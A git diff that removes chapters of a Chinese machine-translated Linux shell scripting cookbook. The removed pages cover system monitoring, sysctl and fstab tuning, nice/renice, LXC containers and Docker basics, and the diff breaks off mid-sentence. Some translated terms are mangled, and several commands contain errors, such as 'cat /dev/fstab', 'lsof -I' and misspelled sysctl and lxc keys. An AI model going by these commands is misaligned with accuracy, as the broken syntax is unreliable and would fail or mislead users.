-UNCONN 0 0 *:898 *:* - -``` - -该输出显示该系统将接受**远程程序调用** ( **sunrpc** )。该端口由`portmap`程序使用。`portmap`程序控制对 RPC 服务的访问,由`nfs`客户端和服务器使用。 - -`ipp`和`ntp`端口用于**互联网打印协议**和**网络时间协议**。两者都是有用的工具,但在给定的系统中可能不需要。 - -港口`766`和`898`未在`/etc/services`列出。`lsof`命令的`-I`选项将显示端口打开的任务。您可能需要具有超级用户权限才能查看此内容: - -```sh - # lsof -I :898 - -``` - -或者: - -```sh - # lsof -n -I :898 - COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME - rpcbind 3267 rpc 7u IPv4 16584 0t0 UDP *:898 - rpcbind 3267 rpc 10u IPv6 16589 0t0 UDP *:898 - -``` - -该命令表明监听端口`898`的任务是 RPC 系统的一部分,而不是黑客。 - -# 它是如何工作的 - -`ss`命令使用系统调用从内部内核表中提取信息。您系统上的已知服务和端口在`/etc/services`中定义。 - -# 用数据采集终端收集系统输入/输出使用情况 - -了解哪些服务正在运行可能不会告诉您哪些服务正在降低您系统的速度。最上面的命令(在[第 9 章](09.html)、*戴上监控器的帽子*中讨论过)会告诉你 CPU 的使用情况和等待 IO 的时间,但是它可能不会告诉你足够的信息来追踪一个使系统过载的任务。 - -跟踪输入/输出和上下文切换有助于追踪问题的根源。 - -`dstat`实用程序可以指出潜在的瓶颈。 - -# 准备好 - -不经常安装 **dstat** 应用。它需要与您的软件包管理器一起安装。它需要 Python 2.2,这是现代 Linux 系统默认安装的: - -```sh - # apt-get install dstat - # yum install dstat - -``` - -# 怎么做... - -dstat 应用定期显示磁盘、网络、内存使用情况和正在运行的任务信息。默认输出为您提供了系统活动的概述。默认情况下,此报告每秒在新行上更新一次,以便与以前的值进行比较。 - -默认输出允许您跟踪整体系统活动。该应用支持更多选项来跟踪顶级资源用户。 - -# 查看系统活动 - -在没有参数的情况下调用 dstat 将每隔一秒钟显示一次 CPU 活动、磁盘输入/输出、网络输入/输出、分页、中断和上下文切换。 - -以下示例显示了默认的`dstat`输出: - -```sh -$ dstat -----total-cpu-usage---- -dsk/total- -net/total- ---paging-- ---system-- -usr sys idl wai hiq siq| read writ| recv send| in out | int csw - 1 2 97 0 0 0|5457B 55k| 0 0 | 0 0 |1702 3177 - 1 2 97 0 0 0| 0 0 | 15k 2580B| 0 0 |2166 4830 - 1 2 96 0 0 0| 0 36k|1970B 1015B| 0 0 |2122 4794 - -``` - -你可以忽略第一行。这些值是矿山数据表的初始内容。随后的几行显示了一个时间段内的活动。 - -在这个示例中,CPU 大部分是空闲的,几乎没有磁盘活动。系统正在产生网络流量,但每秒钟只有几个数据包。 - -这个系统上没有分页。Linux 只在主内存耗尽时将内存分页到磁盘。分页可以让系统运行比不分页时更多的应用,但是磁盘访问比内存访问慢几千倍,所以如果计算机需要分页,它会变慢。 - -如果您的系统看到一致的分页活动,它需要更多的内存或更少的应用。 - -评估需要构建大型内存阵列的查询时,数据库应用可能会导致间歇性分页。有可能使用 IN 操作而不是 JOIN 重写这些查询,以减少内存需求。(这是一个比本书介绍的更高级的 SQL。) - -**上下文切换** ( **csw** )发生在每次系统调用时(参考[第 11 章](11.html)、*追踪线索*中的 strace 和 ltrace 讨论),以及当一个时间片到期并且另一个应用被授予访问 CPU 的权限时。每当执行输入/输出或程序调整自身大小时,就会发生系统调用。 - -如果系统每秒执行数万次上下文切换,这是潜在问题的征兆。 - -# 它是如何工作的 - -`dstat`实用程序是一个 Python 脚本,用于从[第 10 章](10.html)、*管理调用*中描述的`/proc`文件系统中收集和分析数据。 - -# 还有更多... - -`dstat`实用程序可以识别一个类别中的顶级资源用户: - -* **-顶级生物磁盘使用情况**:这报告了执行最多块输入/输出的进程 -* - **顶级 cpu cpu 使用率**:报告使用最多 CPU 资源的进程 -* **-顶级 io I/O 使用情况**:报告执行最多 I/O(通常是网络 I/O)的进程 -* **-顶级延迟系统负载**:这显示了延迟最高的进程 -* **-顶部内存使用情况**:这显示了使用最多内存的过程 - -以下示例显示了 CPU 和网络使用情况以及每个类别中的顶级用户: - -```sh -$ dstat -c -top-cpu -n -top-io -----total-cpu-usage---- -most-expensive- -net/total- ----most-expensive---- -usr sys idl wai hiq siq| cpu process | recv send| i/o process - 1 2 97 0 0 0|vmware-vmx 1.0| 0 0 |bash 26k 2B - 2 1 97 0 0 0|vmware-vmx 1.7| 18k 3346B|xterm 235B 1064B - 2 2 97 0 0 0|vmware-vmx 1.9| 700B 1015B|firefox 82B 32k - -``` - -在运行活动虚拟机的系统上,虚拟机使用了最多的 CPU 时间,但没有使用大量的 IO。中央处理器大部分时间都处于空闲状态。 - -`-c`和`-n`选项分别指定显示中央处理器使用情况和网络使用情况。 - -# 用 pidstat 识别资源猪 - -`-top-io`和`-top-cpu`标志将识别顶级资源用户,但是如果有多个资源占用实例,可能无法提供足够的信息来识别问题。 - -`pidstat`程序将报告每个进程的统计数据,这些数据可以排序以提供更多的洞察力。 - -# 准备好了 - -默认情况下,可能不会安装`pidstat`应用。它可以通过以下命令安装: - -```sh - # apt-get install sysstat - -``` - -# 怎么做... - -pidstat 应用有几个选项可以生成不同的报告: - -* `-d`:报告 IO 统计 -* `-r`:报告页面错误和内存利用率 -* `-u`:报告 CPU 利用率 -* `-w`:报告任务切换 - -报告上下文切换活动: - -```sh - $ pidstat -w | head -5 - Linux 2.6.32-642.11.1.el6.x86_64 (rtdaserver.cflynt.com) - 02/15/2017 _x86_64_ (12 CPU) - - 11:18:35 AM PID cswch/s nvcswch/s Command - 11:18:35 AM 1 0.00 0.00 init - 11:18:35 AM 2 0.00 0.00 kthreadd - -``` - -pidstat 应用按照 PID 编号对其报告进行排序。可以使用排序实用程序重新组织数据。以下命令显示每秒生成最多上下文切换的五个应用(`-w`输出中的*字段 4* ): - -```sh - $ pidstat -w | sort -nr -k 4 | head -5 - 11:13:55 AM 13054 351.49 9.12 vmware-vmx - 11:13:55 AM 5763 37.57 1.10 vmware-vmx - 11:13:55 AM 3157 27.79 0.00 kondemand/0 - 11:13:55 AM 3167 21.18 0.00 kondemand/10 - 11:13:55 AM 3158 21.17 0.00 kondemand/1 - -``` - -# 它是如何工作的 - -pidstat 应用查询内核以获取任务信息。排序和标题实用程序减少数据以精确定位占用资源的程序。 - -# 用 sysctl 调优 Linux 内核 - -Linux 内核大约有 1000 个可调参数。这些默认为合理的常用值,这意味着它们对任何人来说都不完美。 - -# 入门指南 - -`sysctl`命令在所有 Linux 系统上都可用。您必须是 root 用户才能修改内核参数。 - -`sysctl`命令将立即更改参数值,但该值将在重新启动时恢复到原始值,除非您在`/etc/sysctl.conf`中添加一行来定义参数。 - -在修改`sysctl.conf`之前,手动更改一个值并测试它是一个很好的策略。通过对`/etc/sysctl.conf`应用错误的值,可以使系统不可启动。 - -# 怎么做... - -`sysctl`命令支持几个选项: - -* `-a`:报告所有可用参数 -* `-p FILENAME`:从`FILENAME`读取数值。默认来自`/etc/sysctl.conf` -* `PARAM`:报告`PARAM`的当前值 -* `PARAM=NEWVAL`:设置`PARAM`的值 - -# 调整任务计划程序 - -任务计划程序针对桌面环境进行了优化,在桌面环境中,对用户的快速响应比整体效率更重要。增加任务驻留的时间可以提高服务器系统的性能。以下示例检查`kernel.sched_migration_cost_ns`的值: - -```sh - $ sysctl.kernel.shed_migration_cost_ns - kernel.sched_migration_cost_ns = 500000 - -``` - -`kernel_sched_migration_cost_ns`(以及旧内核中的`kernel.sched_migration_cost`)控制一个任务在被替换为另一个任务之前保持活动的时间。在具有许多任务或许多线程的系统上,这可能会导致用于上下文切换的开销过大。`500000` ns 的默认值对于运行 Postgres 或 Apache 服务器的系统来说太小了。建议您将该值更改为 5 毫秒: - -```sh - # sysctl kernel.sched_migration_cost_ns=5000000 - -``` - -在某些系统上(尤其是 postgres 服务器),取消设置`sched_autogroup_enabled`参数可以提高性能。 - -# 调谐网络 - -在执行许多网络操作的系统(NFS 客户端、NFS 服务器等)上,网络缓冲区的默认值可能太小。 - -检查最大读取缓冲存储器的值: - -```sh - $ sysctl net.core.rmem_max - net.core.rmem_max = 124928 - -``` - -增加网络服务器的值: - -```sh - # sysctl net.core.rmem_max=16777216 - # sysctl net.core.wmem_max=16777216 - # sysctl net.ipv4.tcp_rmem="4096 87380 16777216" - # sysctl net.ipv4.tcp_wmem="4096 65536 16777216" - # sysctl net.ipv4.tcp_max_syn_backlog=4096 - -``` - -# 它是如何工作的 - -`sysctl`命令允许您直接访问内核参数。默认情况下,大多数发行版都会针对普通工作站优化这些参数。 - -如果您的系统有大量内存,您可以通过增加专用于缓冲区的内存量来提高性能。如果内存不足,您可能需要缩小这些。如果系统是服务器,您可能希望任务驻留的时间比单用户工作站长。 - -# 还有更多... - -`/proc`文件系统在所有 Linux 发行版上都可用。它包括每个运行任务的文件夹和所有主要内核子系统的文件夹。这些文件夹中的文件可以通过`cat`查看和更新。 - -`/proc`文件系统通常也支持 sysctl 支持的参数。 - -因此,`net.core.rmem_max`也可以作为`/proc/sys/net/core/rmem_max`访问。 - -# 用配置文件调优 Linux 系统 - -Linux 系统包括几个定义如何装载磁盘的文件,等等。一些参数可以在这些文件中设置,而不是使用`/proc`或`sysctl`。 - -# 准备好 - -`/etc`中有几个文件控制系统如何配置。这些可以用标准文本编辑器编辑,如`vi`或`emacs`。在系统重新启动之前,这些更改可能不会生效。 - -# 怎么做... - -`/etc/fstab`文件定义了如何装载磁盘以及支持哪些选项。 - -Linux 系统记录文件的创建、修改和读取时间。知道文件已经被读取没有什么价值,每次访问像 cat 这样的常用工具时更新`Acessed`时间戳会变得很昂贵。 - -`noatime`和`relatime`挂载选项将减少磁盘抖动: - -```sh - $ cat /dev/fstab - /dev/mapper/vg_example_root / ext4 defaults,noatime 1 1 - /dev/mapper/gb_example_spool /var ext4 defaults,relatime 1 1 - -``` - -# 它是如何工作的 - -前面的示例使用通常的默认选项装载/分区(包括`/bin`和`/usr/bin`),并使用`noatime`参数禁止每次访问文件时更新磁盘。`/var`分区(包括邮件假脱机文件夹)设置了实时选项,该选项将每天至少更新一次时间,但不是每次访问文件时都更新。 - -# 使用 nice 命令更改调度程序优先级 - -Linux 系统上的每项任务都有优先级。优先级值的范围从-20 到 19。优先级越低( **-20** ),分配给任务的 CPU 时间就越多。默认优先级为 **0** 。 - -不是所有的任务都需要相同的优先级。交互式应用需要快速响应,否则会变得难以使用。通过`crontab`运行的后台任务只需要在计划再次运行之前完成。 - -`nice`命令将修改任务的优先级。它可用于调用优先级已修改的任务。提高任务的优先级值将为其他任务释放资源。 - -# 怎么做... - -在没有参数的情况下调用`nice`命令将报告任务的当前优先级: - -```sh - $ cat nicetest.sh - echo "my nice is `nice`" - $ sh nicetest.sh - my nice is 0 - -``` - -调用带有另一个命令名的`nice`命令将运行第二个带有*精细度`10`的*命令——它将为任务的默认优先级增加 10: - -```sh - $ nice sh nicetest.sh - my nice is 10 - -``` - -在命令之前调用带有值的`nice`命令将会以定义的*精度*运行命令: - -```sh - $ nice -15 sh nicetest.sh - my nice is 15 - -``` - -只有超级用户才能通过分配负的精确值来赋予任务更高的优先级(较低的优先级数): - -```sh - # nice -adjustment=-15 nicetest.sh - my nice is -15 - -``` - -# 它是如何工作的 - -`nice`命令修改内核的调度表,以运行优先级更高或更低的任务。优先级值越低,调度程序给予该任务的时间就越多。 - -# 还有更多 - -`renice`命令修改正在运行的任务的优先级。使用大量资源但不是时间紧迫的任务,可以用这个命令使*变得更好*。`top`命令对于查找最大程度利用中央处理器的任务非常有用。 - -使用新的优先级值和程序标识调用`renice`命令: - -```sh - $ renice 10 12345 - 12345: old priority 0, new priority 10 - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/13.md b/docs/linux-shell-script-cb/13.md deleted file mode 100644 index c34576cd..00000000 --- a/docs/linux-shell-script-cb/13.md +++ /dev/null @@ -1,753 +0,0 @@ -# 十三、容器、虚拟机和云 - -在本章中,我们将涵盖以下主题: - -* 使用 Linux 容器 -* 使用 Docker -* 在 Linux 中使用虚拟机 -* 云中的 Linux - -# 介绍 - -现代 Linux 应用可以部署在专用硬件、容器、虚拟机或云上。每种解决方案都有优点和缺点,它们都可以用脚本和图形用户界面来配置和维护。 - -如果您想要部署单个应用的多个副本,其中每个实例都需要自己的数据副本,那么容器是理想的选择。例如,容器可以很好地与数据库驱动的 web 服务器配合使用,在这种情况下,每台服务器都需要相同的 web 基础设施,但都有私有数据。 - -然而,容器的缺点是它依赖于主机系统的内核。您可以在一个 Linux 主机上运行多个 Linux 发行版,但不能在一个容器中运行 Windows。 - -如果您需要一个对所有实例都不相同的完整环境,使用虚拟机是最佳选择。借助虚拟机,您可以在单个主机上运行 Windows 和 Linux。当您不希望办公室里有一打盒子,但需要针对不同的发行版和操作系统进行测试时,这是验证测试的理想选择。 - -虚拟机的缺点是体积庞大。每个虚拟机实现一个完整的计算机操作系统、设备驱动程序、所有应用和实用程序等等。每个 Linux 虚拟机至少需要一个内核和 1 GB 内存。一个 Windows 虚拟机可能需要两个内核和 4 GB 内存。如果您希望同时运行多个虚拟机,您需要足够的内存来支持每个虚拟机;否则,主机将开始交换,性能将受到影响。 - -云就像指尖上有许多计算机和大量带宽。您可能实际上运行在云中的虚拟机或容器上,或者您可能有自己的专用系统。 - -云的最大优势是它可以扩展。如果您认为您的应用可能会像病毒一样传播,或者您的使用是循环的,那么无需购买或租赁新硬件新连接就能快速扩展和缩减的能力是必要的。例如,如果您的系统处理大学注册,它将过度工作大约两周,一年两次,并且在其余时间几乎处于休眠状态。这两个星期你可能需要十几套硬件,但你不想让它们闲置一年。 - -云的缺点是你看不到它。所有的维护和配置都必须远程完成。 - -# 使用 Linux 容器 - -**Linux 容器** ( **lxc** )包提供了 Docker 和 LXD 容器部署系统使用的基本容器功能。 - -Linux 容器使用内核级支持**控制组** ( **组**)和[第 12 章](12.html)、*中描述的`systemd`工具来调整 Linux 系统*。cgroups 支持提供工具来控制一组程序可用的资源。这将通知内核控件在容器中运行的进程可用的资源。容器对设备、网络连接、内存等的访问可能有限。这种控制防止容器相互干扰或潜在地损坏主机系统。 - -# 准备好 - -库存分配中不提供容器支持。您需要单独安装它。跨发行版的支持水平不一致。 **lxc** 容器系统是由 Canonical 开发的,所以 Ubuntu 发行版有完整的容器支持。在这方面,Debian 9 (Stretch)比 Debian 8 (Jessie)更好。 - -Fedora 对 lxc 容器的支持有限。创建特权容器和桥接以太网连接很容易,但是从 Fedora 25 开始,非特权容器所需的`cgmanager`服务不可用。 - -SuSE 支持有限使用 lxc。SuSE 的`libvirt-lxc`套餐与 lxc 相似但不完全相同。SuSE 的`libvirt-lxc`套餐不在本章讨论范围内。在 SuSE 下很容易创建没有以太网的特权容器,但是它不支持非特权容器和桥接以太网。 - -以下是如何在主要发行版上安装`lxc`支持。 - -对于 Ubuntu,使用以下代码: - -```sh - # apt-get install lxc1 - -``` - -接下来是 Debian。Debian 发行版可能只包括`/etc/apt/sources.list`中的安全存储库。如果是,您需要将`deb http://ftp.us.debian.org/debian stretch main contrib`添加到`/etc/apt/sources.list`,然后执行`apt-get update before`,加载`lxc`包: - -```sh - # apt-get install lxc - -``` - -对于 OpenSuSE,请使用以下代码: - -```sh - # zypper install lxc - RedHat, Fedora: - -``` - -对于基于红帽/软呢帽的系统,添加以下`Epel`存储库: - -```sh - # yum install epel-release - -``` - -完成此操作后,请在安装 lxc 支持之前安装以下软件包: - -```sh - # yum install perl libvirt debootstrap - -``` - -`libvirt`包提供网络支持,`debootstrap`需要运行基于 Debian 的容器: - -```sh - # yum install lxc lxc-templates tunctl bridge-utils - -``` - -# 怎么做... - -`lxc`包给你的系统增加了几个命令。其中包括: - -* `lxc-create`:这是创建一个 lxc 容器 -* `lxc-ls`:这是可用容器的列表 -* `lxc-start`:这是启动一个容器 -* `lxc-stop`:这是停止一个容器 -* `lxc-attach`:这是连接一个容器的根壳 -* `lxc-console`:这是连接到容器中的登录会话 - -在基于红帽的系统上,您可能需要在测试时禁用 SELinux。在开放系统上,您可能需要禁用**设备**。通过`yast2`禁用设备后,您需要重新启动。 - -Linux 容器有两种基本类型:特权和非特权。特权容器由根创建,底层系统具有根特权。非特权容器由用户创建,并且只有用户权限。 - -特权容器更容易创建,并且得到更广泛的支持,因为它们不需要`uid`和`gid`映射、设备权限等等。但是,如果用户或应用设法逃离容器,他们将在主机上拥有完全权限。 - -创建特权容器是确认系统上安装了所有必需包的好方法。创建特权容器后,为应用使用非特权容器。 - -# 创建特权容器 - -开始使用 Linux 容器最简单的方法是在特权容器中下载预构建的发行版。`lxc-create`命令创建一个基本容器结构,并可以用预定义的 Linux 发行版填充它。`lxc-create`命令的语法如下: - -```sh - lxc-create -n NAME -t TYPE - -``` - -`-n`选项定义了该容器的名称。当容器启动、停止或重新配置时,该名称将用于标识该容器。 - -`-t`选项定义了用于创建该容器的模板。类型`download`将您的系统连接到预构建容器的存储库,并提示您下载容器。 - -这是试验其他发行版或创建需要不同于主机 Linux 发行版的发行版的应用的简单方法: - -```sh - $ sudo lxc-create -t download -n ContainerName - -``` - -下载模板从互联网检索可用预定义容器的列表,并从网络存档中填充容器。create 命令提供可用容器的列表,然后提示输入**分发**、**发布**和架构。只有当您的硬件支持此体系结构时,才能运行容器。如果您的系统具有英特尔 CPU,则不能运行 Arm 容器,但是您可以在具有 64 位英特尔 CPU 的系统上运行 32 位 i386 容器: - -```sh -$ sudo lxc-create -t download -n ubuntuContainer -... -ubuntu zesty armhf default 20170225_03:49 -ubuntu zesty i386 default 20170225_03:49 -ubuntu zesty powerpc default 20170225_03:49 -ubuntu zesty ppc64el default 20170225_03:49 -ubuntu zesty s390x default 20170225_03:49 ---- - -Distribution: ubuntu -Release: trusty -Architecture: i386 - -Downloading the image index -Downloading the rootfs -Downloading the metadata -The image cache is now ready -Unpacking the rootfs - ---- -You just created an Ubuntu container (release=trusty, arch=i386, variant=default) -To enable sshd, run: apt-get install openssh-server -For security reason, container images ship without user accounts and without a root password. -Use lxc-attach or chroot directly into the rootfs to set a root password or create user accounts. - -``` - -通过选择与当前安装相匹配的模板,您可以基于当前分发创建一个容器。模板在`/usr/share/lxc/templates`中定义: - -```sh - # ls /usr/share/lxc/templates - lxc-busybox lxc-debian lxc-download ... - -``` - -要为当前分发创建容器,请选择适当的模板并运行`lxc-create`命令。下载过程和安装需要几分钟时间。以下示例跳过了大多数安装和配置消息: - -```sh -$ cat /etc/issue -Debian GNU/Linux 8 -$ sudo lxc-create -t debian -n debianContainer -debootstrap is /usr/sbin/debootstrap -Checking cache download in /var/cache/lxc/debian/rootfs-jessie-i386 ... -Downloading debian minimal ... -I: Retrieving Release -I: Retrieving Release.gpg -I: Checking Release signature -I: Valid Release signature (key id 75DDC3C4A499F1A18CB5F3C8CBF8D6FD518E17E1) -... -I: Retrieving Packages -I: Validating Packages -I: Checking component main on http://http.debian.net/debian... -I: Retrieving acl 2.2.52-2 -I: Validating acl 2.2.52-2 -I: Retrieving libacl1 2.2.52-2 -I: Validating libacl1 2.2.52-2 - -I: Configuring libc-bin... -I: Configuring systemd... -I: Base system installed successfully. -Current default time zone: 'America/New_York' -Local time is now: Sun Feb 26 11:38:38 EST 2017. -Universal Time is now: Sun Feb 26 16:38:38 UTC 2017. - -Root password is 'W+IkcKkk', please change ! - -``` - -前面的命令从包管理器中定义的存储库中填充新的容器。在使用容器之前,您必须启动它。 - -# 启动容器 - -`lxc-start`命令启动容器。与其他 lxc 命令一样,您必须提供要启动的容器的名称: - -```sh - # lxc-start -n ubuntuContainer - -``` - -启动序列可能会挂起,您可能会看到类似以下的错误。这些问题是由容器的引导序列试图执行图形操作引起的,例如在客户端显示没有图形支持的闪屏: - -```sh - <4>init: plymouth-upstart-bridge main process (5) terminated with - status 1 - ... - -``` - -您可以等待这些错误超时并忽略它们,也可以禁用闪屏。禁用闪屏因发行版和版本而异。文件可能在`/etc/init`中,但这不能保证。 - -在容器中有两种工作方式: - -* `lxc-attach`:这直接连接到运行容器上的根帐户 -* `lxc-console`:这将为正在运行的容器上的登录会话打开一个控制台 - -容器的第一个用途是直接附加以创建用户帐户: - -```sh -# lxc-attach -n containerName -root@containerName:/# -root@containerName:/# useradd -d /home/USERNAME -m USERNAME -root@containerName:/# passwd USERNAME -Enter new UNIX password: -Retype new UNIX password: - -``` - -创建用户帐户后,以非特权用户或 root 用户身份登录`lxc-console`应用: - -```sh -$ lxc-console -n containerName -Connected to tty 1 -Type to exit the console, - to enter Ctrl+a itself -Login: - -``` - -# 停止集装箱 - -`lxc-stop`命令停止容器: - -```sh - # lxc-stop -n containerName - -``` - -# 列出已知的容器 - -`lxc-ls`命令列出了当前用户可用的容器名称。这不会列出系统中的所有容器,只会列出当前用户拥有的容器: - -```sh - $ lxc-ls - container1Name container2Name... - -``` - -# 显示容器信息 - -`lxc-info`命令显示关于容器的信息: - -```sh -$ lxc-info -n containerName -Name: testContainer -State: STOPPED - -``` - -不过,该命令将只显示单个容器的信息。使用 Shell 循环,如[第 1 章](01.html)、*Shell 化*所述,我们可以显示所有容器的信息: - -```sh -$ for c in `lxc-ls` -do -lxc-info -n $c -echo -done -Name: name1 -State: STOPPED - -Name: name2 -State: RUNNING -PID: 1234 -IP 10.0.3.225 -CPU use: 4.48 seconds -BlkIO use: 728.00 KiB -Memory use: 15.07 MiB -KMem use: 2.40 MiB -Link: vethMU5I00 - TX bytes: 20.48 KiB - RX bytes: 30.01 KiB - Total bytes: 50.49 KiB - -``` - -如果容器停止,则没有可用的状态信息。运行中的容器记录它们的中央处理器、内存、磁盘(块)、输入/输出和网络使用情况。这个工具可以让你监控你的容器,看看哪些是最活跃的。 - -# 创建非特权容器 - -建议正常使用非特权容器。配置不良的容器或配置不良的应用有可能允许控制从容器中逸出。由于容器在主机内核中调用系统调用,如果容器作为根运行,系统调用也将作为根运行。但是,非特权容器以普通用户权限运行,因此更安全。 - -要创建非特权容器,主机必须支持 Linux 控制组和 uid 映射。这种支持包含在基本的 Ubuntu 发行版中,但是需要添加到其他发行版中。并非所有发行版都提供`cgmanager`套装。没有此包,您无法启动非特权容器: - -```sh - # apt-get install cgmanager uidmap systemd-services - -``` - -开始`cgmanager`: - -```sh - $ sudo service cgmanager start - -``` - -Debian 系统可能需要启用克隆支持。如果您在创建容器时收到一个`chown`错误,这些行将修复它: - -```sh - # echo 1 > /sys/fs/cgroup/cpuset/cgroup.clone_children - # echo 1 > /proc/sys/kernel/unprivileged_userns_clone - -``` - -允许创建容器的帐户的用户名必须包含在`etc`映射表中: - -```sh - $ sudo usermod --add-subuids 100000-165536 $USER - $ sudo usermod --add-subgids 100000-165536 $USER - $ sudo chmod +x $HOME - -``` - -这些命令将用户添加到用户标识和组标识映射表`(/etc/subuid`和`/etc/subgid`中,并将来自`100000 -> 165536`的用户标识分配给用户。 - -接下来,为容器设置配置文件: - -```sh - $ mkdir ~/.config/lxc - $ cp /etc/lxc/default.conf ~/.config/lxc - -``` - -在`~/.config/lxc/default.conf`增加以下几行: - -```sh - lxc.id_map = u 0 100000 65536 - lxc.id_map = g 0 100000 65536 - -``` - -如果容器支持网络访问,则在`/etc/lxc/lxc-usernet`处添加一行,定义将访问网桥的用户: - -```sh - USERNAME veth BRIDGENAME COUNT - -``` - -这里,`USERNAME`是拥有容器的用户的名字。`veth`是虚拟以太网设备的常用名称。`BRIDGENAME`是`ifconfig`显示的名称。通常不是`br0`就是`lxcbro`。`COUNT`是允许的同时连接数: - -```sh - $ cat /etc/lxc/lxc-usernet - clif veth lxcbr0 10 - -``` - -# 创建以太网桥 - -容器无法直接访问您的以太网适配器。它需要虚拟以太网和实际以太网之间的桥梁。最近的 Ubuntu 发行版在您安装 lxc 包时会自动创建一个以太网桥。Debian 和 Fedora 可能要求您手动创建桥。要在 Fedora 上创建桥,首先使用`libvirt`包创建虚拟桥: - -```sh - # systemctl start libvirtd - -``` - -然后,编辑`/etc/lxc/default.conf`引用`virbr0`而不是`lxcbr0`: - -```sh - lxc.network_link = virbr0 - -``` - -如果您已经创建了一个容器,也可以编辑该容器的配置文件。 - -要在 Debian 系统上创建桥,必须编辑网络配置和容器配置文件。 - -编辑`/etc/lxc/default.conf`。注释掉默认的空网络,并为 lxc 桥添加一个定义: - -```sh - # lxc.network.type = empty - lxc.network.type = veth - lxc.network.link = lxcbr0 - lxc.network.flage = up` - -``` - -接下来,创建网络桥: - -```sh - # systemctl enable lxc-net - # systemctl start lxc-net - -``` - -执行这些步骤后创建的容器将启用网络。通过将`lxc.network`行添加到容器的配置文件中,可以将网络支持添加到现有的容器中。 - -# 它是如何工作的... - -由`lxc-create`命令创建的容器是一个目录树,其中包括容器的配置选项和根文件系统。特许集装箱在`/var/lib/lxc`下建造。非特权集装箱存放在`$HOME/.local/lxc`下: - -```sh - $ ls /var/lib/lxc/CONTAINERNAME - config rootfs - -``` - -您可以通过编辑容器顶部目录中的配置文件来检查或修改容器的配置: - -```sh - # vim /var/lib/lxc/CONTAINERNAME/config - -``` - -`rootfs`文件夹包含容器的根文件系统。这是正在运行的容器的根(`/`)文件夹: - -```sh - # ls /var/lib/lxc/CONTAINERNAME/rootfs - bin boot cdrom dev etc home lib media mnt proc - root run sbin sys tmp usr var - -``` - -您可以通过添加、删除或修改`rootfs`文件夹中的文件来填充容器。例如,为了运行 web 服务,容器可能通过包管理器安装了基本的 web 服务,并且通过将文件复制到`rootfs`来安装每个服务的实际数据。 - -# 使用 Docker - -`lxc`容器很复杂,很难操作。这些问题导致了 Docker 包。Docker 使用`namespaces`和`cgroups`相同的底层 Linux 功能来创建轻量级容器。 - -Docker 仅在 64 位系统上得到官方支持,这使得`lxc`成为遗留系统的更好选择。 - -Docker 容器和 lxc 容器之间的主要区别在于 Docker 容器通常运行一个进程,而 lxc 容器运行多个进程。要部署数据库支持的 web 服务器,您至少需要两个 Docker 容器—一个用于 web 服务器,一个用于数据库服务器—但只有一个 lxc 容器。 - -Docker 的理念使得从更小的构建块构建系统变得容易,但它会使开发块变得更难,因为如此多的 Linux 实用程序预计将在一个完整的 Linux 系统中运行,该系统带有`crontab`条目,以执行清理、日志循环等操作。 - -一旦创建了 Docker 容器,它将在其他 Docker 服务器上完全按照预期运行。这使得在云集群或远程站点上部署 Docker 容器变得非常容易。 - -# 准备好 - -大多数发行版都没有安装 Docker。它通过 Docker 的存储库分发。使用这些需要用新的校验和向包管理器添加新的存储库。 - -Docker 的主页上有每个发行版和不同发行版的说明,可在[http://docs.docker.com](http://docs.docker.com)获得。 - -# 怎么做... - -当 Docker 首次安装时,它没有运行。您必须使用如下命令启动服务器: - -```sh - # service docker start - -``` - -Docker 命令有许多提供功能的子命令。这些命令将找到一个 Docker 容器,并下载和运行它。这是关于子命令的一点: - -* `# docker search`:这将在 Docker 档案中搜索名称与关键字匹配的容器 -* `# docker pull`:这将命名容器拉到您的系统中 -* `# docker run`:这将在容器中运行应用 -* `# docker ps`:这里列出了正在运行的 Docker 容器 -* `# docker attach`:这个附着在一个运行的容器上 -* `# docker stop`:这将停止一个容器 -* `# docker rm`:这将移除一个容器 - -默认的 Docker 安装要求`docker`命令作为`root`或使用`sudo`运行。 - -每个命令都有一个`man`页面。该页面是通过将命令和子命令与破折号组合起来命名的。要查看`docker search`手册页,请使用`man docker-search`。 - -下一个食谱演示了如何下载一个 Docker 容器并运行它。 - -# 寻找容器 - -`docker search`命令返回与搜索词匹配的 Docker 容器列表: - -```sh - docker search TERM - -``` - -这里的术语是一个字母数字字符串(没有通配符)。搜索命令将返回多达 25 个名称中包含字符串的容器: - -```sh -# docker search apache -NAME DESCRIPTION STARS OFFICIAL AUTOMATED -eboraas/apache Apache (with SSL support) 70 [OK] -bitnami/apache Bitnami Apache Docker 25 [OK] -apache/nutch Apache Nutch 12 [OK] -apache/marmotta Apache Marmotta 4 [OK] -lephare/apache Apache container 3 [OK] - -``` - -这里,星号代表容器的等级。首先订购等级最高的集装箱。 - -# 下载容器 - -`docker pull`命令从 Docker 注册表中下载一个容器。默认情况下,它从位于`registry-1.docker.io`的 Docker 公共注册中心提取数据。下载的容器将添加到您的系统中。容器通常储存在/ `var/lib/docker`下: - -```sh -# docker pull lephare/apache -latest: Pulling from lephare/apache -425e28bb756f: Pull complete -ce4a2c3907b1: Extracting [======================> ] 2.522 MB/2.522 MB -40e152766c6c: Downloading [==================> ] 2.333 MB/5.416 MB -db2f8d577dce: Download complete -Digest: sha256:e11a0f7e53b34584f6a714cc4dfa383cbd6aef1f542bacf69f5fccefa0108ff8 -Status: Image is up to date for lephare/apache:latest - -``` - -# 启动 Docker 容器 - -`docker run`命令启动容器中的进程。通常,流程是一个`bash`Shell,允许您连接到容器并启动其他流程。此命令返回定义此会话的哈希值。 - -当 Docker 容器启动时,会自动为其创建网络连接。 - -运行命令的语法如下: - -```sh - docker run [OPTIONS] CONTAINER COMMAND - -``` - -`docker run`命令支持多种选项,包括: - -* `-t`:分配一个伪 tty(默认为 false) -* `-i`:在未连接时保持交互会话打开 -* `-d`:启动容器分离(后台运行) -* `--name`:要分配给此实例的名称 - -此示例在先前被拉取的容器中启动 bash shell: - -```sh - # docker run -t -i -d --name leph1 lephare/apache /bin/bash - 1d862d7552bcaadf5311c96d439378617d85593843131ad499... - -``` - -# 列出 Docker 会话 - -`docker p`的命令列出了当前正在运行的 Docker 会话: - -```sh -# docker ps -CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES -123456abc lephare/apache /bin/bash 10:05 up 80/tcp leph1 - -``` - -`-a`选项将列出您系统上的所有 Docker 容器,无论它们是否正在运行。 - -# 将您的显示器连接到正在运行的 Docker 容器 - -`docker attach`命令将您的显示附加到正在运行的容器中的`tty`会话。您需要在这个容器中作为根运行。 - -要退出附加会话,请键入`^P^Q`。 - -本示例创建一个 HTML 页面,并在容器中启动 